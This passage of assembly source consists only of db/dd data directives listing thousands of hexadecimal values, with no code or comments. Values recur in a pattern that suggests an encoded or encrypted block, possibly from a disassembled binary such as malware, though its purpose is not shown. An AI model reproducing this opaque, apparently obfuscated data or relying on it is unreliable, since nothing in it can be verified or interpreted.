		db 4, 0ACh, 0F1h
		db 7Ch
		dd 22417F64h, 337790EBh, 80DB1356h, 78321566h, 0DE696012h
		dd 0F86EFA90h, 77CDF9FAh, 4432078Fh, 5D522366h,	5CDA65F5h
		dd 2A9FE21Eh, 62D691A9h, 19983C36h, 381BCCE3h, 0B2B71A60h
		dd 0AD321566h, 2232156Fh, 9A0C5EAFh, 0E8D7037Bh, 38F96B2h
		dd 23342511h, 112D9069h, 23D1566h, 44321561h, 22339C69h
		dd 9CCB1566h, 0D13972E3h, 9AB97566h, 0CB53EBEDh, 0EECDF926h
		dd 0DFB72E9Ah, 4B342511h, 22320DE2h, 9409E066h,	8E02623Dh
		dd 44129069h, 0A53D1566h, 11321563h, 70851A06h,	0A824FC07h
		dd 0A83DEA99h, 1132156Ch, 8832108Fh, 62B17366h,	98607013h
		dd 5D841166h, 3E3615D8h, 0CFE4242Ah, 0E6B33172h, 11321562h
		dd 89CC969Ah, 452F9069h, 2DDB1566h, 2321566h, 0FB0B10D9h
		dd 0A94097Fh, 0AFDAA564h, 9409CBF6h, 8E02622Dh,	44739069h
		dd 2BDB1566h, 49321566h, 0EC42AABEh, 5FEB7AF6h,	0A5F690EBh
		dd 0DB153Eh, 75321566h,	0CEC8EDCEh, 4C78369h, 6A6FCA21h
		dd 87A51876h, 0BBD9828Fh, 2EB31A99h, 1E321566h,	883213EDh
		dd 44B51A66h, 19321566h, 21455AE3h, 0E6B71A60h,	4B321566h
		dd 22323BECh, 3DB7566h,	14321566h, 3AD3B233h, 377DA2DFh
		dd 4A794109h, 6A4B9E9Ch, 4422FCACh, 67771566h, 0DCE7DEB9h
		dd 11974432h, 0BA36761Eh, 0AF5382D2h, 49BA2FE3h, 8821FC66h
		dd 80A91566h, 2D1C245Dh, 21324B0Ch, 0FEE118F2h,	8F223C00h
		dd 0C910FC22h, 3DBEA99h, 0DA321566h, 1962EF98h,	0DA932D0h
		dd 365B2A83h, 0B5C65632h, 17B72E63h, 2D342511h,	113223E3h
		dd 883CFC66h, 8F5F1566h, 83DE07A5h, 0A8204B8Ah,	5618A175h
		dd 0CC4D90EBh, 4452153Eh, 0F8DF2FDEh, 8832156Ah, 4473CAFDh
		dd 0FA7D719Bh, 8ED2784Ah, 62F8FC07h, 14C7EA99h,	6A1639E7h
		dd 9A2F9113h, 4CB33162h, 44321562h, 0A6475D63h,	1EDB757Bh
		dd 46321566h, 10670BBh,	0DB0EC0Eh, 0C2A1E584h, 7452B2DAh
		dd 465A7407h, 0A9321566h, 0D5B33152h, 88321562h, 4BC41E9Fh
		dd 223225E3h, 113FFC66h, 0EC5F1566h, 3AA079D9h,	39A6C302h
		dd 0F83E8232h, 77CDFF3Ah, 4432018Fh, 0C423CB66h, 0DCC14296h
		dd 17581374h, 2E82A107h, 5A49507Fh, 15DE9403h, 1321566h
		dd 4B6C3162h, 223214E7h, 7152ED66h, 8834FC93h, 6DF61566h
		dd 2F3D52B0h, 0D3D69507h, 49879C07h, 0B1343C78h, 47879C93h
		dd 1E343C6Ch, 883214E6h, 7AB2E066h, 30B71A8Fh, 71321567h
		dd 63D7593h, 44321566h,	4353C3EDh, 9A336399h, 4CB1315Ah
		dd 0FB3D7562h, 4352429Ch, 0D6B37439h, 981C5DDDh, 0FF61E267h
		dd 6B7677h, 0CAC5C691h,	0ACEFF6E7h, 8FB3040Bh, 65DE18AEh
		dd 1C4BE6E7h, 63B317CCh, 712AC280h, 4269CA4Fh, 11309369h
		dd 0BC861566h, 25CDAA69h, 62E9E30h, 0F836D1E5h,	88321572h
		dd 6AEF34A7h, 54143705h, 8EE424B5h, 2A7D5B5Bh, 75D110CFh
		dd 2411AF34h, 0E3B35085h, 0DEDB4483h, 2282DFE7h, 9C6418B6h
		dd 346217FAh, 97CC391h,	0DE1866A8h, 5FDC9428h, 208CF0A1h
		dd 5B334B94h, 4BB81A3Ch, 0CB321566h, 1132156Ch,	8FC1C49Eh
		dd 0E3FFB35Bh, 9F0945CFh, 171B0BA7h, 881F9769h,	0AD521566h
		dd 22321577h, 4C256715h, 0FAD1A5C5h, 9C8A0241h,	3774AB79h
		dd 0EA0974C6h, 88199369h, 0CF3D1566h, 22321561h, 11339A69h
		dd 61CE1566h, 0BBCDFC6Eh, 2232018Fh, 87F95F66h,	7D780C7Fh
		dd 9D2952C4h, 0C8F56859h, 77300973h, 358F9E5Bh,	0AD343C69h
		dd 22321574h, 793F868Ch, 86E00297h, 8CC5939h, 0DAA4529h
		dd 94F55B5Eh, 8E1B1BD3h, 44321566h, 2FB31A06h, 0F9321566h
		dd 88321561h, 6ADC9DEEh, 7D46D308h, 21FA9400h, 6152741Ch
		dd 44321561h, 0BED8091Bh, 98C1BC7Eh, 0A13870D3h, 0C43D7560h
		dd 22321565h, 7757D5E6h, 6BACCEE7h, 49AF9807h, 0CB34259Bh
		dd 11321576h, 0E38AF516h, 6FE3D52Dh, 0BCC3A4D3h, 0D2CA12h
		dd 53DC699h, 4432157Fh,	0CA6D4306h, 11321569h, 2453324Ah
		dd 0BA78FDD1h, 8D9157C4h, 4EA4B7ECh, 87F21E07h,	443236E2h
		dd 9B527566h, 33974AD4h, 5A6637DDh, 4B84741Fh, 2244FC07h
		dd 18DB1566h, 11321566h, 3B2DCA5Fh, 7305277Eh, 861E88EBh
		dd 77CA1348h, 30B11AB5h, 42CDEA99h, 8F98AA00h, 3DB9749Ah
		dd 421B1F03h, 2232018Fh, 0DB465E66h, 5C89F776h,	996ABA27h
		dd 32DDAFF9h, 21F1577h,	3D879CCEh, 0BD343C68h, 0B0DB88EBh
		dd 1CDB1349h, 23321566h, 0F7CA82B6h, 51ED6861h,	0F975181h
		dd 83DC699h, 4432156Ah,	2232128Fh, 97B5BD66h, 0F139849Dh
		dd 5AF390EDh, 0ABC7134Fh, 383870E3h, 89BB1A60h,	0B8321566h
		dd 2223FC07h, 0B0151566h, 284027F3h, 326F85E4h,	2B4CA4DEh
		dd 7122184Dh, 0E9CF9F9Fh, 4BDA2BE6h, 2232E0E3h,	0B11A66h
		dd 61321566h, 4432156Ah, 0E1215BDFh, 14212DFCh,	0FFCC0C53h
		dd 443E9969h, 0A93D1566h, 11321560h, 88329569h,	0F9B11566h
		dd 241B3E3Fh, 0AEB61A66h, 87321566h, 44321DEFh,	20B01A66h
		dd 71321566h, 8430A507h, 46DAD56Eh, 6A364D6Ah, 2179A235h
		dd 22C74E9Eh, 443B9169h, 44521566h, 0FF82DCE7h,	0DE534A31h
		dd 0C01611E7h, 0A9701C6Fh, 0D5B13162h, 81B63862h, 0C552576Fh
		dd 0FAA979A8h, 0F9B24238h, 8D534FB0h, 16426F46h, 9C64ED4Fh
		dd 43426F46h, 0E86CE54Fh, 5DE49400h, 0F0B37392h, 4253E410h
		dd 0F4E6A833h, 0A1B34620h, 2FB74536h, 2ACEF0E7h, 7DB332BBh
		dd 3FAB44B8h, 700E0E7h,	0D4B312DEh, 0AE88E2Eh, 6D6FFEEFh
		dd 89C74EBEh, 113E9A69h, 0E3D1566h, 44321560h, 22329069h
		dd 7ADB1566h, 61321564h, 4432156Ch, 3ECACFA4h, 5A326A31h
		dd 15BF1061h, 4202F484h, 2DE1EA9Ah, 11321BEEh, 93D7566h
		dd 44321566h, 22329769h, 9C531566h, 0B8C59CFBh,	4BDB7560h
		dd 0FE321566h, 98726055h, 0A47CDD21h, 1CB51F6Dh, 0A3542123h
		dd 700BAC8Fh, 0F3DC699h, 44321572h, 22321A8Fh, 0CA1E6B66h
		dd 0C10812BCh, 9BDCCE86h, 0FBF83ADCh, 943DD56Dh, 88321542h
		dd 44321F8Fh, 0C0517B66h, 0B229747Ah, 61011CB0h, 4432156Ch
		dd 4D3EE2E7h, 0D13043h,	0A6DB1917h, 0B8321566h,	285790E5h
		dd 0F837134Fh, 88321577h, 0B7E8CAA8h, 98882520h, 0E4CCB29Ah
		dd 0B6212E98h, 0BA68FCE5h, 24DBEA99h, 3321566h,	48138FE4h
		dd 0F4AF9831h, 2D34259Fh, 113211EDh, 0D0617566h, 24E1EA07h
		dd 22239D69h, 1DDB1566h, 39321566h, 338E1625h, 0A6C59C76h
		dd 1E32782Ah, 883213E2h, 52F49466h, 43727512h, 943DD56Dh
		dd 88321575h, 44321D8Fh, 1CA71066h, 345A244Bh, 8818FCEEh
		dd 14CE1566h, 886771DEh, 1C725513h, 99873906h, 4B08B63h
		dd 7AF014ECh, 113A9C69h, 0F3D1566h, 44321564h, 0DDB7406h
		dd 0ED321567h, 1F1E88EBh, 14521348h, 0CB684B35h, 11321569h
		dd 6A93DF61h, 71C83084h, 2A17FD7Eh, 7022FB14h, 88321F8Fh
		dd 9E743866h, 0F25294E2h, 0EECA9314h, 0C8B11AB5h, 24321566h
		dd 0DA4EA106h, 9A547507h, 46B973A1h, 0F1B97407h, 241B1F03h
		dd 1132018Fh, 0C349FB66h, 30B71C56h, 748A10BAh,	0CE2639D7h
		dd 0EEA230A6h, 6A57FC75h, 0A13D1566h, 11321561h, 88339E69h
		dd 0CFCA1566h, 0B3870EBh, 18DA7560h, 8C321566h,	0F393ECFFh
		dd 2D7C321h, 4FFA9E00h,	3DBB7493h, 421B1F03h, 22259E69h
		dd 3DB1566h, 95321566h,	0B1F4340Eh, 0AEA16EB0h,	35FC1613h
		dd 2C15AC68h, 443AFC26h
		dd 97D21566h, 9BF1163Eh, 33613918h, 66537807h, 0B69CC4Fh
		dd 70F39497h, 7D10740Bh, 0B3CB922Fh, 0DECB92B1h, 4E5EAE35h
		dd 53C55E5Eh, 0C579CE91h, 0D4720B8Dh, 0E2B35E32h, 0B0816F3h
		dd 6D69CB4Fh, 0FBF494A8h, 0ED476D7Ah, 7DCEB195h, 0BBCEDE8Fh
		dd 9D3D7599h, 1135FCA8h, 0F9F01566h, 11558479h,	42527416h
		dd 0A63D4E37h, 8EDB74BCh, 65321566h, 0F8C67F4Bh, 8CBF749Ch
		dd 8E1D801Bh, 44339269h, 0DDCA1566h, 905475B5h,	619766A7h
		dd 44321576h, 0F03517C9h, 0B0739BB8h, 66B7DE49h, 5B1DA007h
		dd 26DE9407h, 98321566h, 876A315Ah, 44321DEFh, 0D5B37566h
		dd 64D3C2E3h, 35B73E07h, 24343C69h, 9C544E36h, 98530DDBh
		dd 0A1025CE3h, 0C1B9E060h, 241B1ADBh, 1132188Fh, 0F0F04666h
		dd 0A15CCAA4h, 0F51FE9AEh, 98636632h, 8CF39487h, 0C5321566h
		dd 2232118Fh, 353E9266h, 0AC0E9C3Ah, 0CDC7D9Ah,	26BB1566h
		dd 9A547542h, 8826FCB1h, 0E6041566h, 0C913D2ECh, 2A5C8876h
		dd 243D1545h, 0BEAFD143h, 0AF53811Bh, 3EA5DBEBh, 8837FC60h
		dd 0AAE91566h, 0D71DAFB9h, 923DC499h, 88321567h, 0A1B79E9Ah
		dd 0DA343C6Fh, 90D49C30h, 883211A0h, 40DC9666h,	7E1621E1h
		dd 0F81611EFh, 88321577h, 0A14BF39h, 38E66BE4h,	19B88872h
		dd 5107D017h, 318F7D67h, 1EBB1566h, 94B9EC42h, 8E1B1ADBh
		dd 44379469h, 0A2521566h, 465311AAh, 4FB3F2EFh,	44321562h
		dd 2236FAE7h, 2DB51566h, 8CBB4942h, 443DFC42h, 47BC1566h
		dd 0BFBBFC01h, 0ACB139E0h, 59AFEC8Bh, 24BF98AEh, 71343AFFh
		dd 7753EBEDh, 3D8A75B7h, 2D719550h, 113217E3h, 0E9EB9E66h
		dd 445A650Eh, 61E9C66h,	0FBBBD0EFh, 91B91A3Bh, 4B321566h
		dd 223206EBh, 113CFC66h, 89B51566h, 500B9991h, 584C25ACh
		dd 34BCE87h, 0D78C4336h, 7514193Ah, 7C363112h, 4EC3943Fh
		dd 0E814193Ah, 5F672D8h, 0D1851A46h, 1138FC07h,	55391566h
		dd 4AAB26A6h, 0EE4C3FB2h, 18D7984Dh, 86DB134Fh,	37321566h
		dd 0EA3AFE9Fh, 0AFC4186Fh, 8C996939h, 918F9660h, 22343C4Bh
		dd 11859169h, 83D1566h,	44321569h, 22321F8Fh, 4640A666h
		dd 0A9878EA3h, 0CF8E116Fh, 0B2CB0E3h, 9419EC60h, 8E1B38B3h
		dd 4BF32E9Ah, 223299E0h, 0DBB1A66h, 0E8321566h,	4432048Fh
		dd 5C92CB66h, 10E7F20Ch, 9076853h, 59CB78C1h, 9954212Ah
		dd 0E853A300h, 0BB8390EDh, 0CD3D134Fh, 22321567h, 0C4B71693h
		dd 0E8343C4Bh, 0AAF852D8h, 22B51A20h, 70321566h, 826790EFh
		dd 4B52134Fh, 22321AE0h, 1138FC66h, 95121566h, 0E8BBB20Bh
		dd 22837779h, 1132068Fh, 0FCE0C066h, 208B9855h,	0EFD25E2Dh
		dd 0BA39D57h, 0AE4BF49h, 45AEFC07h, 0CB521566h,	11321563h
		dd 4799B01Dh, 95B97311h, 0C7BB4007h, 1136D0E7h,	65B11566h
		dd 601E9262h, 63E9C3Ah,	1132138Fh, 0A186FD66h, 0C7CDD640h
		dd 3EBB118Ah, 98F99C42h, 9524EBEh, 29CB75B8h, 20BE1A58h
		dd 9A321566h, 33617497h, 0BBCDEA99h, 0CB69CD67h, 1132156Dh
		dd 956FF4C2h, 0FE354F6Eh, 71761DE1h, 1ECDA833h,	63BB1566h
		dd 1FEA1C3Bh, 35B91A06h, 0F9321566h, 88321577h,	779A7B9Eh
		dd 95EF1507h, 537F2F75h, 67FC6932h, 0D3534DC2h,	0A571CAE1h
		dd 475282B9h, 0E96D7406h, 5A9790EFh, 23CB134Fh,	382190E3h
		dd 73DE060h, 4432157Bh,	22259369h, 3DB1566h, 58321566h
		dd 6820167Fh, 1A062789h, 64BD3FBh, 0D44C2FECh, 91B7D2A3h
		dd 22343C4Bh, 71321566h, 6F5CD4DEh, 44B31A36h, 43321566h
		dd 16DB550Ch, 75321566h, 0C0091C88h, 225A05A6h,	1E321576h
		dd 883214E5h, 0B55AEC66h, 0AB321519h, 0F8CB316Ah, 88321576h
		dd 0D60E64C7h, 57A23F48h, 7A954A49h, 1F287C3Eh,	0C73D150Ch
		dd 2232156Bh, 11B21A06h, 0EE321566h, 5518CDE7h,	0C7A7EA07h
		dd 0F8343C4Dh, 8832156Dh, 19A78FB8h, 7DB3684Fh,	0EE1AFEBFh
		dd 0A13F44F3h, 443CFC60h, 0CFF41566h, 0B060ABF5h, 93E6B0BCh
		dd 1D9B1BF2h, 118390EFh, 1E52134Fh, 883213E3h, 44B51A66h
		dd 44321566h, 9853CFEDh, 0A13840E3h, 45BA1A60h,	0DA321566h
		dd 401619EDh, 49B3F4EFh, 44321562h, 0A536D4E5h,	1E6E316Ah
		dd 883214E2h, 0F1CDED66h, 241B1F33h, 11339969h,	77CA1566h
		dd 6D3BF0D3h, 0CB52E960h, 11321568h, 600174A2h,	0C8C6D1D0h
		dd 3AA0FB82h, 0F3B3EFA9h, 0EF61A293h, 0A697D07h, 1EBB1566h
		dd 7752E942h, 8DDAECEDh, 1F321566h, 0B364CDEFh,	4BC09E00h
		dd 3587EA07h, 0AD343C69h, 22321560h, 0A1C510A3h, 0DBFAA51h
		dd 421DA773h, 22339E69h, 0EEC71566h, 883DFCB6h,	0BEB11566h
		dd 0BCD62985h, 5F8AD897h, 0E161603Ah, 4421FC95h, 7C921566h
		dd 3FE47B98h, 0A373ADC0h, 0D13A1BE3h, 8099225h,	0C4BF147Dh
		dd 87343C4Bh, 44321BEDh, 223BFC66h, 23391566h, 88FA2CBEh
		dd 247D061Ch, 0A953C4EDh, 383840DBh, 373D7560h,	87D494BFh
		dd 436534BBh, 18D7A0EDh, 0F3D134Fh, 44321561h, 0D5B97306h
		dd 0E253CAEDh, 36375C2h, 0CF534E9Ch, 0B25C0D3h,	9A547560h
		dd 76B97395h, 0AD52B807h, 22321572h, 0DAA1BDA8h, 4D90C69Fh
		dd 1F35E49Eh, 0DCA3B100h, 79D193D9h, 0E98CD3E6h, 44327D36h
		dd 0AB6A1566h, 0F86AE920h, 88321560h, 6BF03D1Fh, 0E2F35CC4h
		dd 16BA1A63h, 0E8321566h, 0F33DD4ECh, 986074B6h, 984D636h
		dd 9CB9C567h, 40F69442h, 0D7321566h, 39B39065h,	6152134Fh
		dd 44321561h, 275B7871h, 713A8DC5h, 0E9539BD4h,	4E6798EDh
		dd 77CA134Fh, 39BBD8EFh, 91639EDh, 443211A2h, 98547566h
		dd 70CA7328h, 84B11ACBh, 4B321566h, 223213EEh, 11B61A66h
		dd 61321566h, 44321560h, 31146CE1h, 57F52B1Dh, 6F75D49Ah
		dd 0B86C927Dh, 0DE6C922Dh, 0D1CE7BE7h, 6129F221h, 44321568h
		dd 91ADB96Fh, 0AD2066FAh, 101EE012h, 0F1BBF2EDh, 241B02B3h
		dd 1132128Fh, 0C72F6F66h, 2F572F1Dh, 2DCDEDE5h,	113289E3h
		dd 80BF1A66h, 4B321566h, 223217E5h, 90537566h, 55EFC858h
		dd 0C6B71ABBh, 0D7321566h, 69E7AA31h, 6FF34672h, 0C5EDE265h
		dd 0C26EED91h, 99FD9415h, 9794013h, 409307A1h, 7D0C9CADh
		dd 42ED3BE7h, 8EB3146Ch, 923A2843h, 26DE969Ah, 0AC1639EFh
		dd 88321562h, 0BD6FFB67h, 35E7A0EFh, 4752134Fh,	88329669h
		dd 0AC6A1566h, 2232156Ch, 0CB29E720h, 0AD66E4A1h, 0C03D24DAh
		dd 22321566h, 0CADB7438h, 87CDEAB5h, 443206E2h,	223CFC66h
		dd 0B14B1566h, 59702DE5h, 21C70AD3h, 11E468FAh,	12F2D49Fh
		dd 8832018Fh, 1ECE8A66h, 12F43725h, 31F9595Ch, 5200D875h
		dd 0F32E4D2Eh, 0A3B716BEh, 71343C4Eh, 88329969h, 0AE831566h
		dd 0D38F9607h, 10343C75h, 8BF29169h, 0C13D1566h, 2232156Eh
		dd 11BD1A06h, 0E9321566h, 0EE982BE7h, 0A73DBFCCh, 113215B5h
		dd 8835FC06h, 0D9541566h, 7CDF26B2h, 113BFC87h,	0A4991566h
		dd 8DF9C10h, 439BE902h,	1136AC37h, 46331566h, 0C51619EDh
		dd 223211A2h, 113EFC66h, 4E461566h, 0B926AFC4h,	3D859CB6h
		dd 0FDB182E1h, 0AC269C62h, 5E05ABDCh, 0DE74D228h, 5F2822D8h
		dd 0D2CE434Fh, 44359169h, 0AE3D1566h, 11321567h, 252759Fh
		dd 0C5547483h, 43C75D8Dh, 9A6A4236h, 4CB1315Ah,	4434FC62h
		dd 87DC1566h, 1E882AC6h, 88229B69h, 4FDB1566h, 82321566h
		dd 572C0480h, 0B15A9013h, 0F660BD5Eh, 368546FAh, 0EF36F2A6h
		dd 7EC595A9h, 0C440F2E6h
		dd 0DABA18A1h, 4BE2153Dh, 8866FC9Eh, 0AD521566h, 22321576h
		dd 80C66266h, 2AB7D208h, 0BC95B311h, 96007A45h,	971EFEE7h
		dd 0B9536EA4h, 75F5249Eh, 27DB759Eh, 0A6321566h, 0B476F5AAh
		dd 0CF547507h, 9060749Dh, 0A56273B3h, 0EED025D1h, 13D8953Eh
		dd 0AAD1E7E6h, 943D4FB6h, 88321560h, 0F06B4706h, 9E5A7409h
		dd 98321535h, 87CA3162h, 443233E3h, 27DA7566h, 6F321566h
		dd 6E8A20FCh, 4426FC3Ch, 30A61566h, 6FA331C1h, 0CC94D78Fh
		dd 0D98288CCh, 6DE0CBA8h, 9253D860h, 0A13284DBh, 0C03D1460h
		dd 2232145Bh, 118D429Ah, 1321567h, 600E9E9Eh, 0CB36D1E5h
		dd 1132156Eh, 0E8089984h, 359EEEB5h, 5551A8E5h,	1E321356h
		dd 883254E2h, 4437FC66h, 37441566h, 9CCC9276h, 0A7F56EFBh
		dd 49DA7560h, 0E7321566h, 6080B980h, 7B54E509h,	0AD177EF4h
		dd 22329B69h, 70681566h, 87DBC699h, 7F321566h, 0CF4EDC29h
		dd 0EBDD5187h, 22E7C3D1h, 7BB25702h, 1DB61AF6h,	0ED321566h
		dd 8868AE0Eh, 60269C66h, 223210DCh, 4BE51466h, 9EB51A93h
		dd 24321566h, 223CFC9Fh, 0CB0E1566h, 0DEBE454h,	0ED8CFE2h
		dd 6C762F1Eh, 1086FC07h, 0EE521566h, 2252DFEDh,	0C8B8DAEDh
		dd 0E9B17407h, 0AB01A36h, 0AD321566h, 22321563h, 47EA9C3Dh
		dd 3D63E9F7h, 4043A5ECh, 16E2E396h, 3DEAE33Dh, 0D1DA1553h
		dd 4432108Fh, 0FCFC8866h, 0E4985AB4h, 0D0162199h, 4436D1E7h
		dd 2D521566h, 113213E1h, 88BF1A66h, 0F4321566h,	429874BCh
		dd 1132078Fh, 87D04966h, 6738CA18h, 0E2CEB8A7h,	0FF61B13Eh
		dd 0E91A29E1h, 443A9369h, 0A53D1566h, 11321564h, 58DB7406h
		dd 24321566h, 2238FC9Ah, 8781566h, 31F5D03h, 3762A5FCh
		dd 606EA07h, 15F6943Eh,	0E8321566h, 25C9AA69h, 22339169h
		dd 0BBC71566h, 378B7306h, 40BF1AB4h, 44321566h,	702DDCDCh
		dd 61CD6AE6h, 44BF9069h, 0A2521566h, 923D478Ch,	88321565h
		dd 25E0A269h, 5551A8E5h, 1E321356h, 883253E2h, 0D9BFED66h
		dd 241DD379h, 1DA7506h,	0C6321566h, 764BAE7Bh, 0EA22C588h
		dd 0DE8BB347h, 0D337A5F3h, 4432048Fh, 3DC89266h, 0FF683CC6h
		dd 0D95DCD0Eh, 162347E8h, 0A35302ECh, 9637C6ADh, 77CA7441h
		dd 0B3B975B5h, 7353DBEDh, 113211DFh, 0E9DB9466h, 455F735Fh
		dd 43F3949Fh, 995F735Fh, 0EE524C67h, 0BCB8E6EDh, 223BFC07h
		dd 0F97D1566h, 0A247A894h, 0CF088FD3h, 0B3840E3h, 8B91A60h
		dd 61321566h, 44321572h, 0B622B98Ah, 2E274A4Bh,	0CDF31EBFh
		dd 0C34BC3F5h, 0D0660D27h, 1833D54Bh, 0DBCA3C14h, 8767E6DDh
		dd 11C19432h, 1014DF32h, 0D9CB4EBEh, 4436AB30h,	0D3BB1566h
		dd 48FA3C38h, 88321C8Fh, 0D1821066h, 2D05155Dh,	1E99821Bh
		dd 883214EAh, 4B9FE966h, 223212EDh, 9A547566h, 0E9C79F9Dh
		dd 44321E8Fh, 7A828766h, 0D9B16592h, 0A241A15Ch, 11CD7D36h
		dd 76A3614h, 0BCA3909h,	50C5CD91h, 34367A53h, 0DE8B4464h
		dd 10CDEA99h, 0D1339C97h, 4FDBE93Eh, 2DCDEA9Dh,	11321AE0h
		dd 8838FC66h, 1B4A1566h, 25361F10h, 0A065DBD2h,	9FE7A0EFh
		dd 0B1C7134Fh, 2253240Eh, 35269C66h, 88339B69h,	2CCA1566h
		dd 22329566h, 0F8327F9Eh, 88321576h, 3D5A9F5h, 2D776060h
		dd 0EB31147Dh, 580C1B05h, 4D87EA9Ah, 2D343C79h,	113204E1h
		dd 883EFC66h, 37E21566h, 8C423C60h, 69FFF69h, 1DCD57F8h
		dd 421B1D9Fh, 22321D8Fh, 0E4493566h, 15C8A80Fh,	6006EAE6h
		dd 26F6963Ch, 0D1D89406h, 870D0D33h, 443211E1h,	0BC8D7366h
		dd 9CB9748Ch, 8E1B268Bh, 443E9E69h, 0AB3D1566h,	11321560h
		dd 88329E69h, 16651566h, 1273190Eh, 0DBB34F0Ch,	0AA266DCAh
		dd 636BF7E7h, 0C8B343ADh, 5332346Eh, 168C2EFh, 22524A5Fh
		dd 2D088BDDh, 4153C2D1h, 8836AE35h, 9CBB1566h, 7AF3143Dh
		dd 11389469h, 0E8521566h, 89FD9407h, 4364C33Ah,	22DF98EFh
		dd 86DB134Fh, 94321566h, 0AE5F3543h, 4C3B6D69h,	0FF78E93h
		dd 6ADBE0FBh, 0CBCDEAA1h, 11321575h, 0E2528EECh, 5509710Fh
		dd 7402C77Fh, 89A1121Fh, 61B2A07Eh, 44323908h, 22321F8Fh
		dd 4AB4F266h, 1C46C8F1h, 24C2C977h, 22259469h, 9A3D1566h
		dd 88321577h, 4432198Fh, 0B71CC266h, 4AFC656Fh,	0C63C2639h
		dd 0A9BF9EBCh, 0DE343C55h, 1132AE35h, 4BB31566h, 4E26B3Ah
		dd 0C9B3DE67h, 51E26B3Ah, 74691EEDh, 336D98EFh,	97521356h
		dd 74C3945Eh, 0E95931B0h, 107C2DE7h, 0A73D5922h, 113215E3h
		dd 0F0B37393h, 4B1C5962h, 22326DE3h, 18BA1A66h,	0E8321566h
		dd 0C5547406h, 43C02D97h, 1176780Eh, 0AC369C66h, 4422FC38h
		dd 0AB7D1566h, 5540FBE2h, 89DE67A0h, 0B9B57088h, 986020F7h
		dd 11321560h, 0E84AD3E7h, 9233562Dh, 424AFBE7h,	0E468562Dh
		dd 82FF90EDh, 0AC52134Fh, 2232156Fh, 0ACC0FD29h, 12873F13h
		dd 0CF68EC5Ch, 0A8DB74B0h, 0F8321563h, 88321577h, 85A0349Ah
		dd 74661968h, 32EA3953h, 43A653E9h, 40DE940Eh, 0AB321566h
		dd 0F86C3162h, 8832156Fh, 232EFD8Fh, 201F9CD0h,	25B345EBh
		dd 9B6A7042h, 60269E6Bh, 0A336D1E5h, 26A7094h, 954756Bh
		dd 2553C5BEh, 2232048Fh, 1775F266h, 933D5013h, 27C81667h
		dd 22E22B68h, 0D80368D4h, 8EDBE906h, 1B321566h,	0AF5261EFh
		dd 9B3D74FEh, 8832157Fh, 4432018Fh, 0DA452166h,	44770EF5h
		dd 79C0C130h, 8DBDB9FFh, 0D08160DAh, 1BDBB960h,	8321566h
		dd 578F0D76h, 490BD81Eh, 1E3229DCh, 8833D3E2h, 4423FC66h
		dd 3EBE1566h, 0E762188Dh, 0BB6D9FDh, 4CF3115Ah,	0D7D736A8h
		dd 953D385Ah, 77CDEAAFh, 4421FC06h, 4BD51566h, 0BA637719h
		dd 0AD64119Dh, 10E43130h, 0E1701746h, 9B3D751Dh, 88321566h
		dd 25EBAA69h, 2222FC07h, 19DE1566h, 0BB6602D5h,	0CCC5780Bh
		dd 0C59A0701h, 3F0E1945h, 89309169h, 78C71566h,	0FB01A56h
		dd 71321563h, 1A3FAD00h, 4BB91A07h, 0CB321566h,	1132156Ch
		dd 0BFBD6FE2h, 0E46D4762h, 1B0E670Fh, 0EE699369h, 99DBEA99h
		dd 40321566h, 2BF86A27h, 0BC28699h, 0AA69865Eh,	0E6D2EF48h
		dd 0A03D545Ah, 1132118Ah, 88321F8Fh, 0A2412566h, 3ACEB054h
		dd 2D3A286Fh, 0AEB41A3Ch, 0ADCDEA99h, 22321560h, 818EDBEDh
		dd 60529111h, 44321569h, 1A49065h, 2D121B8Bh, 0E5D7C055h
		dd 0CF8FB459h, 1E534D95h, 0EBB61A39h, 61CDEA98h, 4432156Fh
		dd 13B53C41h, 0FDB58BA4h, 875329A2h, 443686E4h,	28DA7566h
		dd 95321566h, 0B99EAE3Ch, 8DEE0D1Fh, 223FFC55h,	4B181566h
		dd 0D6AF1547h, 3F22ACB7h, 7B22F863h, 70E8C6E6h,	0E3D6F5Ah
		dd 0BBCDEBD3h, 2232188Fh, 0BF120566h, 7402AD59h, 8059E613h
		dd 6FDB46EDh, 0F8321562h, 88321572h, 7C28E5F5h,	0C104EF5h
		dd 9590F59Ch, 0C04226EFh, 0C5B076A8h, 979A833h,	0D4B324A0h
		dd 460BC1D0h, 246FFF67h, 43F8AA69h, 953DE75Fh, 8832117Eh
		dd 4432128Fh, 20D73D66h, 1F615173h, 77CDAC37h, 8E33EA99h
		dd 223BFC3Fh, 0C3831566h, 1F7E333Eh, 127698B2h,	223214D8h
		dd 4FC31466h, 883B9069h, 22521566h, 0D68CE2E7h,	0F8537406h
		dd 77CDEB4Fh, 44339F69h, 0A7CB1566h, 0D8B61AAFh, 87321565h
		dd 443214EBh, 97BFED66h, 171B15FBh, 59B87506h, 0C5537406h
		dd 0D23594A0h, 9A607431h, 4CB3316Ah, 44321562h,	22321C8Fh
		dd 814DA66h, 0B8A36BEFh, 0CD625379h, 7A6D45B6h,	1132138Fh
		dd 848D5166h, 1602EE51h
		dd 97631DD4h, 0D1D7957Eh, 80DD8E6h, 99C4A683h, 0A237F8A6h
		dd 0FB124C93h, 0AEC0953Fh, 4B68C5EEh, 223219E3h, 17B91A66h
		dd 87321566h, 443215ECh, 0DF47BB66h, 1135FC9Fh,	48DC1566h
		dd 0CFCE6BBCh, 0F8F394EDh, 90284C3Ch, 0A8168D8Fh, 0C5CB3C78h
		dd 2168DA7h, 0CBDB9478h, 87284C3Ch, 443214E3h, 0F3C5EC66h
		dd 0EECDFCE7h, 80DBEA99h, 0D1321566h, 81CEC35Ah, 90B838A7h
		dd 8B3C2189h, 25F59465h, 0B381D44h, 70DD94A9h, 9381D44h
		dd 473C21A1h, 2221FC65h, 0D18E1566h, 0BF2987Eh,	0EB86A37Eh
		dd 6983DA73h, 34DFCD20h, 80BB1A5Dh, 4B321566h, 223217E9h
		dd 20537566h, 0B9CC2491h, 4437FC91h, 0AFDF1566h, 0E26E6A25h
		dd 89BB1AC2h, 0B8321566h, 7081A734h, 0EECDEADCh, 4EC81499h
		dd 7468A664h, 4268EA31h, 1EC4AA69h, 883215E6h, 0D1BF7466h
		dd 241B15FBh, 11209669h, 85DB1566h, 1F321566h, 45E199B7h
		dd 1AA428D1h, 19669802h, 436390EDh, 2D52134Fh, 11321EEBh
		dd 8834FC66h, 41721566h, 60CBBD62h, 11321E8Fh, 0D4C2F066h
		dd 0E3239491h, 0F9832A1Bh, 1EF29007h, 883280E3h, 4422FC66h
		dd 0D4491566h, 8622508Ah, 9C39735Eh, 1F8DBC4Ah,	24DBFFD8h
		dd 0E8321566h, 0DBB33C0Fh, 1DB7D313h, 65343C7Dh, 508A7306h
